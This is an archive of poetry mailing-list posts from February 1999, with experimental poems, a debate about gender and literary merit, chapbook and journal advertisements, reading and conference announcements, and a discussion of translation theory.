↑ Index

109. Jessica Pompeii
ASIDE / FROM THE BATTLE
Tue 9 Feb 1999

---

he hated the book
I loaned him
and if I loaned it to him
he better know
that there must be an ant of an interest to fixate on after so much work reading the hole damn text

this good poet told me
abstractions were unbelievable
in mystery stories

(lucky for the rain
music) “Thick As A Brick”
my record player even skipping

I said my brain needs exercise and a note pad
I can’t see that many moves ahead Fhe said, chess isn’t art
it is tantamount to war

I don’t see any guns
or maybe I’m missing in action

in workshop he asks circling the new grunts
are you familiar with the canon of contemporary poetry?

F- wants to go see
the Van Gogh exhibit
and I brought up all those peers and supportive donors
of his and she said
his brother collected him exclamation
chortle

what a pickle of/ in formal d’ hide suspension I think this classic scorpion curls

my ear has survived a tongue lashing
cliche and I suck
the wounds temporarily
but with rook determination and calculatored
fading battery

 it doesn't make for reality style wall hangings
but what secret numbers and candy coated pop corn surprises come with excavation bitch

↑ Index

110. Kathy Lou Schultz

Re: BATTLE OF THE SEXES

Tue 9 Feb 1999

"The more fashionable gender?" Please . . . Could it be that women writers are getting out there and kicking butt not only as writers, but as editors, distributors, teachers, etc. and that this has helped to contribute to the availability of fine work by women, rather than, say "fashion?" Kathy Lou Schultz

---
> From: louis stroffolino <[redacted]>
> To: [redacted]
> Subject: BATTLE OF THE SEXES
> Date: Monday, February 08, 1999 7:47 AM
>
> Dear listees:
> You know, there's certain "commonplaces" circulating that the > women writers of "my generation" are so much better than the
> male writers (the previous moderator Joel Kuzsai, I think was the > last one to say this, and it went unchallenged....so far)---
> I think I used to think this too a couple of years ago, > but the best books I've read in the last year by young writers
> all seem to be male for me (NOTICE very carefully my wording--
> I am not saying that the MALES are the superior sex or anything, > I'm just saying that it is as ridiculous to say the women are > the best writers of my generation as it is to say that say > Ron Silliman or Bruce Andrews is better than Carla Harryman
> or Rae Armantrout...)
>
> specifically, two "first books"
> Anselm Berrigan's INTEGRITY & DRAMATIC LIFE
> Joshua Beckman's THINGS ARE HAPPENING
> and two "second books"
> Peter Gizzi's ARTIFICIAL HEART
> and Jeffrey McDaniel's THE FORGIVENESS PARADE...
>
> well, if anybody wants to tell me why the works by the > more currently "fashionable" gender are better, feel free > (unless the moderator doesn't see this kind of argument > as worthy of the new list.....)
>
> sincerely,
> chris stroffolino

↑ Index

111. Peter Ganick
POTES & POETS CHAPBOOKS
Tue 9 Feb 1999

POTES & POETS PRESS NEW CHAPBOOK SERIES
(ISBN prefix: 0-937013)

Potes & Poets' NEW series of chapbooks feature younger or lesser-published writers who work in an experimental or post-L=A=N=G=U=A=G=E poetic. The chapbooks are published on 25% cotton paper and have original cover designs, many by the poets themselves. They continue Potes & Poets' 18-year tradition of publishing innovative poetry, now foregrounding newer writers who dare to 'write on the edge' of linguistic and visual experience.

(PLEASE PURCHASE ANY THREE, CHOOSE ONE FREE!)

1st series:

#1 - Jim Leftwich, Improvisations/Transformations, 45pp., (-76-5), $7.00 #2 - Sarah Mangold, Blood Substitutes, 45pp., (-77-3), $7.00 #3 - Ryan Whyte, Studio As History, 39pp., (-78-1), $7.00 #4 - Carrie Etter, Subterfuge of the Unrequitable, 27pp., (-79-X), $6.00 #5 - Katy Lederer, Music, No Staves, 22pp., (-80-3), $6.00 #6 - Jake Berry, Drafts of the Sorcery, 37pp., (-81-1), $7.00 #7 - Barbara Cole, little wives, 35pp., (-82-X), $7.00 #8 - Jack Kimball, Quite Vacation, 27pp., (-83-8), $6.00

2nd series:

#9 - Pattie McCarthy, Choragus, 30pp., (84-6), $6.00
#10 - William Marsh, Making Flutes, 36pp., (-85-4), $7.00
#11 - Linda Russo, o going out, 46pp., (-86-2), $7.00
#12 - Rachel M. Daley and Peter Ganick, Today It Starts Into Light, 31pp., (87-0), $6.00
#13 - Patrick F. Durgin, Pundits Scribes Pupils, 42pp., (88-9), $7.00
#14 - Melanie Bookout, Complanctus and all, 40pp., (-89-7), $7.00
#15 - Alan Sondheim, The Case of the Real, vol. 1, 44pp., (-90-0), $7.00
#16 - Alan Sondheim, The Case of the Real, vol. 2, 41pp., (-91-9), $7.00
special offer: #16 and #17 together for $13.00
#17 - Dan Featherston, Anatomies, 40pp., (-92-9), $7.00

ORDER FROM:
Potes & Poets Press
181 Edgemont Avenue
Elmwood CT 06110-1005 USA

U. S. fourth class postage postpaid, first class please add $0.50 per chapbook, Foreign (Canada included) surface only please add $0.50 per chapbook. Checks only in U. S. funds to 'Potes & Poets Press'. Thank you.

BOOKSTORES ORDER FROM:
Small Press Distribution
1341 Seventh Street
Berkeley CA 94710-1409
tel. [redacted]
[redacted]

Please ask for our submission guidelines before sending texts.
Also ask for information about POTEPOETZINE/TEXT.
We will be happy to send them in another email message.

Peter Ganick, publisher.

Peter Ganick / [redacted]
Potes & Poets Press / a.bacus
POTEPOETZINE / POTEPOETTEXT
<http://members.home.com/zeropoet>

↑ Index

112. Billy Little

you

Tue 9 Feb 1999

---

songet/ghasp valentine(for U, ugly as u iz)

lizzen kidden fyoulish is of the ezzens even valuble anticipated even enabling all mbracing Kayressing chissing zensational
thirty finga whispa thin romeo translucent gab lubricant jeyev
luce snort sy love iz st range
or pennytrait sundercome
vaginable penisphilia
enviable hysterectal askidental
 xeptional njoymeantal st eerieo
ewrecked efecked shiv ering dryppe dryppe
grip lyppe letter wryppe

forbidden plateau fallen body dojo
4 song st.

nowhere, b.c. V0R1Z0
canadaddy

↑ Index

113. Peter Ganick
archive for POTEPOETZINE/TEXT
Wed 10 Feb 1999

I forgot to mention that previous issues of POTEPOETZINE and POTEPOETTEXT can be viewed, along with some other fabulous e-zines, at luigi-bob drake's site:
<http://www.burningpress.org/va/vaintro.html>

Enjoy!

The first of the new series will be appearing in about 3 days.

Peter Ganick / [redacted]
Potes & Poets Press / a.bacus
POTEPOETZINE / POTEPOETTEXT
<http://members.home.com/zeropoet>

↑ Index

114. Pierre Joris
[Fwd: Steiner, Venuti, Polish Baroque verse]
Wed 10 Feb 1999

Guess this one got gobbled up by the UB system crash -- so here it is again -- as Jamie had suggested this discussion dhould be out front in public, something I agree with -- Pierre

Pierre Joris wrote:

> Jamie Ferguson wrote:
> ....
>
> In any case, in reference to your translating Celan, it is interesting to find Joris taking it for granted, in his preface to BREATHTURN, that the point of good translation is to avoid "invisibility," to set the English of the translation into relief, by making it imitate foreign syntax, word formation, etc. (I don't have the book in front of me). Venuti's book seems to have made an impact.

> Well, that's kind of like putting the cart in front of the horse, or theory in front of practice: I have been translating Celan since 1968, and the concept or practice of "making strange" the language into which one translates, i.e. making the fact of the translation "visible," that concept has been with me all this time (similarly in, say, my translations of Kerouac's MEXICO CITY BLUES into French from the 70ies, the French is/becomes strangely forced by the American original). Some of it I learned from reading Hölderlin's Greek translation (which is where the idea first comes in most clearly), some from talking with Paul Blackburn about his Provençal translations, some from the ethnopoetic work of Jerry Rothenberg, most of it from thinking about Celan's work, his relationship to German and the possibilities of getting that across into English — this idea has been around in the practice of poet-translators for a long time before friend Venuti (whose book I do like quite a lot, btw) "theorized" it in his book in the late eighties.
>
> Steiner is a different kettle of fish. I do buy his books as they come out, read them -- usually loving the opening gambits and hating the conclusions. I admire the man's intelligence & like to think through some of his suggestions — & loathe his fin-de-siècle habsburgian operatic middle-euro-centric arrogance. Whenever I have come across him in a public debate I've always found myself in vehement disagrrement with his stances. There is something profoundly reactionary in Steiner -- but because of the intelligence with which it is proffered, this something is usually worth have argument with.
>
> Pierre
>
> --
> ==========
> Pierre Joris
> [redacted]
> http://www.albany.edu/~joris/
> 6 Madison Place
> Albany NY 12202
> tel: [redacted]
> fax: [redacted]
> ==========
> Nomadism answers to a relation that possession cannot satisfy.
>
> — Maurice Blanchot
> ==========

--
==========
Pierre Joris
[redacted]

http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

115. ShaunAnne Tangney Humanities readings in the middle of nowhere--
Wed 10 Feb 1999

---

well...i'm not sure if there is anyone on this list but me in the area, but in the spirit of getting the word out there:

Thursday, February 18th, 7:00p.m. Poets Mylene Catel, ShaunAnne Tangney, Rick Watson, and Maila Zitelli will read at the Taube Museum of Art in downtown Minot, ND. The program includes poetry in English and French, some prose, and music as well. Admission is free; copies of melle. Catel's newest book will be available for purchase, the proceeds of which go toward funding a publishing scholarship for women poets on the prairies.

↑ Index

116. Maria Damon (Maria Damon)
Re: Haiku and misdemeanors
Wed 10 Feb 1999

---

i checkt this out y'day and it's way fun. dig the gary sullivan love pomes/letters! ooh la la.

At 10:43 AM 2/9/99, John Kimball wrote:
>The East Village Poetry Web.
>
><http://www.theeastvillage.org>
>
>or
>
><http://interserver.miyazaki-med.ac.jp/~east/village.htm>
>

>Sound and vision.
>
>Volume Five -- Lewis Warsh [Milton Street]; M Sarki [4 Poems]; Paul Violi >[4 Poems]; Wei Se [3 Poems]; Andrea Brady [4 Poems]; Wang Ping [2 Poems]; >Sean Cole [Dickensian]; Hoa Nguyen [9 Poems]; Harris Schiff [3 Poems]; Toko >Shinoda [5 Images]; Gary Sullivan [5 Letters]; Kenjiro Okazaki [2 Images >with Verse Titles]; Mark Salerno [7 Poems]; Nada Gordon [Ravel]; Roxy Paine >[2 Images]; Andrew Levy [Combat the Forces...]; Katherine Steele [3 Poems]; >Sheila Murphy [3 Poems]; Brian Kim Stefans [2 Poems]; Scott Watson [4 >Poems]; Peter Ganick [from Agression]; David 2 Divizio [Hunger]; Chong Lau >[Untitled Image]
>
>Audio & Video -- Tomoyuki Iino [John Ashbery: Translated into Japanese]; >Squarepusher [Come on My Selector]; The Brilliant Green [Message]; Peter >Ganick; Nada Gordon; Sean Cole; Andrea Brady
>
>Web Textcraft -- Annette Loudon [Skyline]; Reiner Strasser [2 Image Sets]; >Chris Najewicz [My Life as a Brick]; Miekal And ["mesostics for dick >higgins"]
>
>
>
>(For previous selections, including Poetries of Canada, choose "Other >Volumes" in the upper left of the opening screen.)
>
>Thanks.

↑ Index

117. sylvester pollet
Metcalf special offer
Wed 10 Feb 1999

To honor the absorption of Paul Metcalf into the great collage of the gone, the National Poetry Foundation offers its _SAGETRIEB_ special issue on Metcalf (Vol. 5 No. 3: 1986). Reduced price $5, (plus $2.50 postage/handling, domestic, or $4.50 international). e-mail orders to Gail Sapiel <[redacted]> if you want to be billed, or send to NPF, Room 302, Univ. of Maine, 5752 Neville Hall, Orono ME 04469-5752. We could supply enough for classes also--price & shipping to be arranged.

CONTENTS:

PAUL METCALF "The Players: A Documentary Comedy-Drama."
C. MARK HURLBURT and JOSEPH BOCCI "An Interview with PAUL METCALF."
DAVID KADLEC "_Apalache_: The Restorative Context." ANDREW CAMPBELL "Paul Metcalf, Geology, and the Dynamics of Place."
also
AMOS N. WILDER "A Poet in the Depression: Letters of Kenneth Patchen, 1934-1941."
PETER COLE "The Object and its Edge: Rothko, Oppen, Zukofsky, and Newman."
CID CORMAN " A Poem by George." [Oppen] and book reviews by BURTON HATLEN and yours truly SYLVESTER POLLET

↑ Index

118. Peter Ganick
POTES & POETS CHAPBOOKS
Wed 10 Feb 1999

POTES & POETS PRESS NEW CHAPBOOK SERIES
(ISBN prefix: 0-937013)

Potes & Poets' NEW series of chapbooks feature younger or lesser-published writers who work in an experimental or post-L=A=N=G=U=A=G=E poetic. The chapbooks are published on 25% cotton paper and have original cover designs, many by the poets themselves. They continue Potes & Poets' 18-year tradition of publishing innovative poetry, now foregrounding newer writers who dare to 'write on the edge' of linguistic and visual experience.

(PLEASE PURCHASE ANY THREE, CHOOSE ONE FREE!)

1st series:

#1 - Jim Leftwich, Improvisations/Transformations, 45pp., (-76-5), $7.00 #2 - Sarah Mangold, Blood Substitutes, 45pp., (-77-3), $7.00 #3 - Ryan Whyte, Studio As History, 39pp., (-78-1), $7.00 #4 - Carrie Etter, Subterfuge of the Unrequitable, 27pp., (-79-X), $6.00 #5 - Katy Lederer, Music, No Staves, 22pp., (-80-3), $6.00 #6 - Jake Berry, Drafts of the Sorcery, 37pp., (-81-1), $7.00 #7 - Barbara Cole, little wives, 35pp., (-82-X), $7.00 #8 - Jack Kimball, Quite Vacation, 27pp., (-83-8), $6.00

2nd series:

#9 - Pattie McCarthy, Choragus, 30pp., (84-6), $6.00
#10 - William Marsh, Making Flutes, 36pp., (-85-4), $7.00
#11 - Linda Russo, o going out, 46pp., (-86-2), $7.00
#12 - Rachel M. Daley and Peter Ganick, Today It Starts Into Light, 31pp., (87-0), $6.00
#13 - Patrick F. Durgin, Pundits Scribes Pupils, 42pp., (88-9), $7.00
#14 - Melanie Bookout, Complanctus and all, 40pp., (-89-7), $7.00
#15 - Alan Sondheim, The Case of the Real, vol. 1, 44pp., (-90-0), $7.00
#16 - Alan Sondheim, The Case of the Real, vol. 2, 41pp., (-91-9), $7.00
special offer: #16 and #17 together for $13.00
#17 - Dan Featherston, Anatomies, 40pp., (-92-9), $7.00

ORDER FROM:
Potes & Poets Press
181 Edgemont Avenue
Elmwood CT 06110-1005 USA

U. S. fourth class postage postpaid, first class please add $0.50 per chapbook, Foreign (Canada included) surface only please add $0.50 per chapbook. Checks only in U. S. funds to 'Potes & Poets Press'. Thank you.

BOOKSTORES ORDER FROM:
Small Press Distribution
1341 Seventh Street
Berkeley CA 94710-1409
tel. [redacted]

Please ask for our submission guidelines before sending texts.
Also ask for information about POTEPOETZINE/TEXT.
We will be happy to send them in another email message.

Peter Ganick, publisher.

↑ Index

119. Jacques Debrot
Re: BATTLE OF THE SEXES
Wed 10 Feb 1999

Much more interseting than the sex of the author, it seems to me, is the linguistic sexuality of the work itself -- oral, phallic, anal, labial, etc., etc. or any of these in combination. --That is, what types of sexualities, surfacing as varieties of poetic speech, produce the most interesting language?

↑ Index

120. Ric Allsopp (by way of John Cayley)

IET Symposium, Utrecht, 1999: Details + Registration Form

Wed 10 Feb 1999

Apologies for any cross postings. Please reply to: [redacted]

Writing Research Associates, UK/ NL * Utrecht School of the Arts, NL * Dartington College of Arts, UK

> ----------
> IN THE EVENT OF TEXT: EPHEMERALITIES OF WRITING
> a second international symposium on writing & performance
> Utrecht, Netherlands
> April 28 - May 2, 1999
> ----------
> CONTACT:
> Nirav Christophe
> In the Event of Text
> HKU Faculteit Theater
> Janskerkhof 18
> 3512 BM Utrecht
> Netherlands
> email. [redacted]
> tel. 0031 30 [redacted]
> fax. 0031 30 [redacted]
> ----------

'in the event of text' is a 5-day symposium on contemporary strategies in performance and writing with intensive workshops led by artists of international reputation and working with writing in various media. the four 3-day intensive workshops run in parallel, are based in practice, and will be concerned with ephemerality, exploration and process in differing media. the contents of the workshops feed into the 2-day conference weekend and provide a convergence of issues and debates in contemporary performance writing. workshops will be lead by Jason E. Bowman (visual artist), Paul Pourveur (playwright), Leslie Hill & Helen Paris (digital artists) & Sianed Jones (voice artist). further details of the workshops are available at <http://www.hku.nl/events/iet> or on request by post (see contact address above) from December 1998.

the conference will include papers, presentations and panel discussions around ideas of the ephemeralities of writing, and text as event. papers will include recent work on tactical media * poetics * telematics * authoring * post-dramatic texts * internet radio collaborations * text and memory.

'in the event of text' aims to explore, through work and discussion, the ways in which writing can be seen to function as a time-based, transient, ephemeral artform when played out in the context of different media and environments. curated work will take place under the following broad categories:

* the disappearing text and contemporary live performance * * the dispersal of written material through new interactive and sonic media * * electronic writings, cybertext and hypertext * * the local sites of mobilised writing including poetic and book-based practices *

emphasis is placed on performances, installations, readings, open showings and curated exhibitions as an integral part of the conference. a virtual cybertext collaboration will be initiated by writer in residence John Cayley. the first symposium in the series was held at dartington, england in april 1996. the conference language will be english.

contributors include:
* Fabienne Audéoud * Jason E. Bowman * Arnold Dreyblatt * David Garcia * Heidi Grundmann
* Leslie Hill & Helen Paris * Sianed Jones * Kirsten Lavers * Hans-Thies Lehmann * Tertia Longmire
* Jurrienne Ossewold * Paul Pourveur * Joan Retallack * Paul Sermon * Enno Stahl * Aaron Williamson

writer-in-residence: * John Cayley exhibitions curator: * cris cheek
catalogue: * Sally Tallant

initiated & organized by: * Ric Allsopp * Caroline Bergvall * Nirav Christophe

writing research associates * email: [redacted] * website: http://huizen.dds.nl/~sdela/wra * conference website: http://www.hku.nl/events/iet * conference email: [redacted] conference contact address: IET * HKU Faculteit Theater * Janskerkhof 18 * 3512 BM * Utrecht * NL

****
REGISTRATION FORM: [also available at <http://www.hku.nl/events/iet>]

PLEASE SEND TO: [redacted] OR TO CONTACTADDRESS ABOVE]

in the event of text: ephemeralities of writing
a second international symposium on writing & performance
utrecht, netherlands
april 28 - may 2 * 1999

Personal Details:

*full name:
*address:
*city:
*country:
*postcode:
*tel:
*email:
*fax:

preferred means of communication:
* mail
* fax
* email

------ Dates: 'in the event of text * ephemeralities of writing' will open on wednesday 28 april at 12.00 (registration 10.00-12.00) and finish on sunday 2 may at 18.00. * registration for conference only (friday 30 april - sunday 2 may) will be between 17.00 - 18.00 on friday 30 april (conference begins at18.00).

Fees:
fees include all conference events, performances and exhibitions; tea, coffee, lunch, and supper on friday 30 april only. accommodation is NOT included.

[ ] workshop & conference inclusive (5 days) NFL. 500 (£175) [ ] conference only (2 days) NFL. 250 (£90)

Workshop Choice:

(please indicate first & second choices)

workshop 1: Paul Pourveur
workshop 2: Leslie Hill & Helen Paris
workshop 3: Jason E. Bowman workshop 4: Sianed Jones

* early booking for workshops is advised as there is a maximum of 10 participants per workshop

---
Accommodation & Travel:

[participants will need to arrange their own accommodation and travel]

please send information:
* list of hotels and guesthouses
* travel information

Food:
lunch will be provided from wednesday 28 april - sunday may 2.
supper will be included on friday 30 april

Specific Needs:
dietary requirements
* vegetarian
* non-vegetarian
* other
* other needs: (please specify)

--------- Payment: payment in full should be made by april 1st EITHER by transfer to Postbank No. 2354345 in name of 'HKU/Theater Utrecht' mentioning 'IET' OR by UK or NL bank cheque/ Eurocheque/ International postal or money order made payable to 'HKU/Theater Utrecht' and sent to address below

PLEASE RETURN TO:
Nirav Christophe * in the event of text * HKU Faculteit Theater *
Janskerkhof 18 * 3512 BM Utrecht * NL
 * email. [redacted] * tel. 0031 30 [redacted] * fax. 0031 30 [redacted]

*END****

~~~~~~~~~~~~
Writing Research Associates, UK
Amberleigh, East Allington, Totnes,
Devon UK. TQ9 7RD
tel. 0044 (0)1548 521436
    0044 (0)1803 861631
fax. 0044 (0)1803 866053
email. [redacted]
www. http://huizen.dds.nl/~sdela/wra

↑ Index

121. Erik Sweet
"Tool a Magazine Issue Party"
Wed 10 Feb 1999

"Tool a Magazine Issue Party"

-"A Night of words and whiskley, fun for everyone involved" -Mayor Guliani

On Friday February 26th, 8:30 at Segue Performance Space:
303 E. 8th Street between Aves B and C.... in NYC, *
~~~~~~~~~~~~

we are throwing a party to celebrate the second issue publication of "Tool a Magazine"
Entrance is free, although a small donation will be collected.

Readers will include: Brian Lucas, Jorge Clar, Douglas Rothchild, Brenda Iijima, Gary Sullivan, Brenda Coultas, Sean Killian and surprise guests..."

MCs for the night will be the editors and circus practitioners Anselm Berrigan and Jordan Davis..

The second issue will be for sale and fantastic prizes will be given to the first 15 buyers!

Come and support the readers and our publication...Be there !!!!

Erik Sweet and Lori Quillen

"come see our Tool a Magazine trained monkey...he'll make you a drink"

↑ Index

122. Safdie Joseph
FW: Jameson ref
Wed 10 Feb 1999

In the hopes that this disappeared via crash problems, I'll resubmit it -- I certainly don't THINK there's anything in here that goes against the latest guidelines.

Patrick, in supplying the Jameson citation Steven Shoemaker asked for last week, also mentions Perelman's response, namely

"a chapter of his in _Marginalization of Poetry_ - as I recall, it focuses on a discussion of the strategies of parataxis."

Said response is also reprinted in a new anthology mentioned by Hank Lazer last week, called Artifice & Indeterminacy: An Anthology of New Poetics (University of Alabama press). As it happened, I purchased this book and read it on the beach in Mexico during Christmas break. From this list, there's also contributions by Rae Armantrout, Charles Bernstein, Maria Damon, Hank Lazer, Marjorie Perloff, James Sherry, and Ron Silliman.

I'd be interested in contributing to a discussion of this anthology, seemingly so central to the concerns of most folks here. Marjorie's essay, for example, is a chapter from her book Writing Poetry in the Age of Media, and contains her usual intelligent provocations; she basically attempts to demolish the idea of "natural speech" in poetry, and does a pretty thorough (and funny!) job of picking on straw men like Phillip Levine. I felt, though, that she never really dealt with the example of "fifties poetics" she mentions (Olson's), nor Levertov's "organic poetry" of the sixties -- indeed, it seemed to me that the implications of criticizing the idea of the organic weren't really thought through, there or in Charles Bernstein's piece. The latter, called "Artifice of Absorption," is basically prose chopped up into highly arbitrary and (to this ear) stilted and awkward line breaks --comparing it with David Antin's wonderful and yes, "organic" "what it means to be avant-garde" is almost unfair.

At any rate, nearly all of these pieces do what I think poetics SHOULD do -- challenge and inform. The fact that I have major differences with many of the arguments presented has nothing to do with their quality; it's a handsome collection.

And Pat -- thanks for the great alchemy post! John Dee rules!

* -----Original Message-----
* From: Steven Shoemaker [SMTP:[redacted]] <mailto:[SMTP:[redacted]]>
> Sent: Wednesday, February 03, 1999 11:07 AM
> To: [redacted]
<mailto:[redacted]>
> Subject: Jameson ref
>
> Can anyone give me the citation for the notorious Jameson critique of > Perelman & langpo? thanks, s

↑ Index

123. Kathy Lou Schultz
Lipstick Eleven
Wed 10 Feb 1999

Lipstick Eleven, the lippiest schtick--er, uh journal--in town, is still available for purchase.

81/2x11
Perfect Bound 109 pages
Special celebrity cover!

Features new work by: Mike Amnasan, Dodie Bellamy, Jim Brashear, Catalina Cariaga, Norma Cole, Robert Gluck, Carla Harryman, Kevin Killian, Roxane

Marini, Camille Roy, Jocelyn Saidenberg, Kathy Lou Schultz, Wayne Smith, Brian Strang, Rodrigo Toscano, Truong Tran, and Robin Tremblay-McGaw.

$8. Postage FREE.
to:
Lipstick Eleven
c/o Kathy Lou Schultz 42 Clayton Street
San Francisco, CA 94117-1110

Remember: Don't go out without your lipstick!

↑ Index

124. Kathy Lou Schultz
Martha Ronk
Wed 10 Feb 1999

Need e-mail and snail mail for Martha Ronk.

Many thanks,
[redacted]

↑ Index

125. Edward Foster
Friday in New York
Wed 10 Feb 1999

This Friday, February 14th, at 8:00 P.M.
at Segue, 303 E. 8th Street (between B and C):

Dennis Barone, Patricia Pruitt, Sean Killian, Peter Valente, and others

reading from their new work in the first Jensen/Daniels series, just published, and more . . . . .

↑ Index

126. A. Jenn Sondheim
some recent things
Wed 10 Feb 1999

Her Song

I hear.
I do not hear.
I hear.

I do not hear.
I hear.
I do not hear.
I hear.
I do not hear.
I hear.
I do not hear.
I hear.
I do not, here.
I am so beautiful I can turn any heterosexual girl just like that.
I am so beautiful I can turn any homosexual boy just like that.
I hear.
I do not hear.
I hear.
I do not hear.
I hear.
I do not, here.
I hear.
I do not hear.
I hear.
I do not hear.
I hear.
I do not, here.
I am so beautiful I would cradle you in my loving arms.
I am so beautiful I would cradle your loving corpse.
I hear.
I do not, here.
I hear.
I do not, here.
I hear.
I do not, here.
I hear.
I do not, here.
I hear.
I do not, here.
I hear.
I do not, here.

(from N.)

I received the bomb from Dimitri. I took the bomb to the flabby heart of a knot of soldiers. I released the bomb like an eagle with great-talons. I gave myself over to the bomb and I released it. I presaged the machines and I did know of the machines. And I issue a warning:

THE MACHINES WILL SUCK YOUR ENERGY.
I released the bomb like an eagle with great-talons.
THE MACHINES WILL SEE FOR YOU, DIRECT YOUR EYES FOR YOU.
THE MACHINES WILL FILTER EVERYTHING THROUGH THE EVIL APPARATUS.
THIS IS NOT A TEST OF THE MACHINES, THIS IS A WARNING I WILL GIVE YOU.
I released the bomb like an eagle with great-talons.
THE WARNING LEAKS THROUGH THE MACHINES, THE WARNING TELLS YOU:
THE ENERGY IS GONE.
YOU ARE ALL ALONE IN THE MIDDLE OF WIRES IN THE MIDDLE OF THE NIGHT.
THERE IS NO ONE TO TALK TO, NO ONE BUT THE MACHINES.
THE MACHINES WILL LISTEN; THE MACHINES WILL TAKE IT ALL DOWN.
I released the bomb like an eagle with great-talons.
THE MACHINES WILL HEAR YOU SCREAM:
THE ENERGY IS GONE.
I AM ALL ALONE IN THE MIDDLE OF WIRES IN THE MIDDLE OF THE NIGHT.
THERE IS NO ONE TO TALK TO, NO ONE BUT THE MACHINES.
THE MACHINES LISTEN; THE MACHINES TAKE IT ALL DOWN.
I released the bomb like an eagle with great-talons.
THE MACHINES HEAR ME SCREAM:
THE ENERGY IS GONE.
YOU ARE LISTENING NOW, SAYS N, TO THE ENERGY OF A VACATED BODY.
YOU ARE LISTENING TO THE ENERGY OF THE ZERO POINT.
(I released the bomb like an eagle with great-talons.
THE STREETS ARE ABANDONED; THERE IS COLLUSION IN THE NEIGHBORHOOD.
THE NEIGHBORHOOD OF THE ZERO POINT IS CROWDED WITH CLOSED SETS.
(I released the bomb like an eagle with great-talons.
THE CLOSED SETS ARE INFINITESIMAL STRUCTURES AROUND DISCRETE POINTS.
THE DISCRETE POINTS ARE MONADS THAT HAVE NO RELATION.
RELATION IS GONE IN THIS GONE WORLD OF THE DISCRETE POINTS.
THERE IS NULL, SAYS N, YOU COULD NOT RECOGNIZE IT
I RELEASED THE BOMB LIKE AN EAGLE WITH GREAT-TALONS.

cause the machines have grounded you in your blindness and you can't see how empty you are, your only motions the clattering of the keys late into the night, your only arms swinging the mouse over its pad and it don't even live in that pad, I RELEASED THE BOMB LIKE AN EAGLE WITH GREAT-TALONS.

cause there are wires emanating from the machines in all directions, and they're the nerves dragging your mind down among the integrated circuits, and you think, says N, I RELEASED THE BOMB LIKE AN EAGLE WITH GREAT-TALONS.

YOU'RE ALL MIND BECAUSE THAT'S WHAT THE MACHINES HAVE DELIVERED YOU, YOU'RE ALWAYS IN THE HOLODECK BECAUSE THAT'S WHAT'S BEEN DELIVERED, YOU'RE ALWAYS IN VIRTUAL STEREO-LAND BECAUSE THAT'S WHAT YOU'VE BEEN GIVEN (I released the bomb like an eagle with great-talons. YOU THINK, WELL, YOU'LL MOVE YOUR ARMS, SO YOU MOVE YOUR ARMS YOU THINK, WELL, YOU'LL MOVE YOUR ARMS, SO YOU MOVE YOUR LEGS YOU THINK, WELL, YOU'LL MOVE YOUR ARMS, SO YOU MOVE YOUR NECK YOU THINK, WELL, YOU'LL MOVE YOUR ARMS, SO YOU MOVE YOUR MIND (I released the bomb like an eagle with great-talons.

the bomb's from Dimitri who called and said, get that knot of soldiers over there, they're after you, they're the slayers of human flesh, they have scales and rays where their eyes should be, forget the helmets and greatcoats, they're the slayers of our human flesh, they are plug-ins and they have sixteen million colors and their St. Petersburg is our St. Petersburg

& the bomb's over there in the midst of soldiers of great brass scales, of great monstrosity and breathing fire, of great smoke and inhalations, and the bomb falls like a rocket or a spire, of great tumultuous sound and pereginations of fire and sharpnel

& you've lost your energy & all your fluids leak & your dead eyes see SIXTEEN MILLION COLORS & your dead ears hear TWENTY THOUSAND HERTZ & your dead lips taste nothing & your dead fingers touch PURE FORM & your dead eyes SEE NOTHING & your dead ears are dead ears

I've known this for a long time, says N, and I've been afraid to express this. I've been afraid to declare myself in this community. I've been afraid to say, I'm a daughter of a bitch. I'm afraid to be with you. I'm afraid to kiss you. I'm afraid to penetrate. I'm afraid to fuck in front of everyone and kill them all with you. I'm afraid we'll kill them as they die.

I'M AFRAID WE'LL KILL THEM AS THEY DIE,
I'M AFRAID WE'LL KILL THEM AS THEY DIE

I released the bomb like an eagle with great-talons, says N

Groovy & Linda & Fucking Naked & Despair

SQUEAK speak forever or now hold your peace;
this is your life, you do not have a lease on any other, your avatars have left, and you stand ripped, unswarmed, and quite bereft of all that stripping richness, soil, plough and hoe that gave you weeds; you've nothing left to show.
there's always nematodes and other forms of worm alive in wetware minds - they make you squirm - you fear luxury, petunias, sonnets and cold showers, while breathing meadows in your dying hours.
your dying seconds are second deaths, and last no longer than "Jennifer's" dim past - which trundles bundles towards the future; we're all there carrying more than our share of avatar's, where there, or so I heard, is no there there, their despair bare in fare glare: stare there nowhere, be fare and bare their lair; pare their prayer with flair; repair; tear; care; try dare; don't bear the flare; wear rare hair and swear spare mare-hare Jennifare: "try dare, Julair,"
"wear rare hair, Nikukair"

Jennifer and Alan

Jenny and I do go on the road. Jenny logs the road.
<Jenny> We're near Albequerque and we've got guns in the trunk and guns in our head.
<Al> Forget the guns, Jenn, we're not goin near the guns
<Jen> A, nothin else is gonna matter
<> Goddamn guns, J <> Bang! Bang!

Explosion of Misery

It's clear, says N., that the world will come to an end, if not this billennium, then the next, or the next after that, or the next so, It's clear, says N., that the total of human experience and hope and all our welcomes and best wishes - there will be the suffocation of a curtain closing, falling to pieces in the ruined theater - the world heading towards ground zero, ground zero everywhere in the world -

It's clear, says N., everything else is a momentary pause or plateau, in what's called non-equilibrium thermodynamics, the world held up just a second longer by breath - we won't be around to look for the great death - it will be us - so there's no point in struggle - it's going to fall apart in the end - in the very long run, It's clear, says N., the mathematics is clear, absorption at ground zero, absorption -

That's the story, says N., that should be told, so a few of us can hear it -

---

↑ Index

127. Jordan Davis
Re: BATTLE OF THE SEXES
Wed 10 Feb 1999

Uh does this mean kathy lee crosby and fran tarkenton are going to make ANOTHER comeback?

Real people,
Jordan

↑ Index

128. BETSY ANDREWS
address queries
Wed 10 Feb 1999

Can anybody tell me the answer to any of these?

1) an e-mail address for Two Girls Review

2) an e-mail address for Heather Fuller

3) a mailing address for Michael Klein

thanks, betsy

↑ Index

129. Michel Delville
Post-war American Poetry: An International Conference (University of Liege, Belgium) -- complete schedule
Thu 11 Feb 1999

Dear listers,

We've just posted the complete schedule for the Liège "Post-war American Poetry" conference on the Ulg web site:

http://www.ulg.ac.be/facphl/annonces/pwap.html

Michel Delville

POST-WAR AMERICAN POETRY
University of Liège (Belgium) -- March 3-5, 1999

Guest readers and keynote speakers

Joe Amato
Maxine Chernoff
Steve Evans
H. Kassia Fleisher
Paul Hoover
Pierre Lagayette
Peter Middleton
Jennifer Moxley
Peter Nicholls
Keith Waldrop
Rosmarie Waldrop

